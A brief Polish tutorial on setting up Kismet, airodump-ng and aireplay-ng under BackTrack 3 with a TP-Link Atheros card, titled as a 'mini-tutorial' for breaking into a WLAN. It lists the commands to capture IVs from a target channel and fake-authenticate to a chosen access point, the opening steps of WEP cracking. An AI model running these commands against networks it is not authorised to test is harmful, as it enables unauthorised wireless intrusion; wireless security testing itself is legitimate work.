BT3, kismet, airodump-ng i TP-Link TL-WN551G

Edytujemy /usr/local/etc/kismet.conf
Dodajemy gdzieś na początku linię:
source=madwifi_ag,wifi0,AtherosABG

Tryb klienta karty przestawiany poleceniami:

wlanconfig ath0 destroy
wlanconfig ath0 create wlandev wifi0 wlanmode sta

Airodumpa uruchamiamy poleceniem:
airodump-ng --write /naszkataloggdzies/naszplik --channel x --ivs wifi0

Połączmy naszą kartę ze sprawdzanym AP'kiem:
aireplay-ng -1 0 -e SSID -a MAC_AP -h MAC_NASZEJ_KARTY wifi0

MAC'a naszej karty uzyskamy m.in. poprzez:
macchanger -s ath0

Minitutorial: włam na WLAN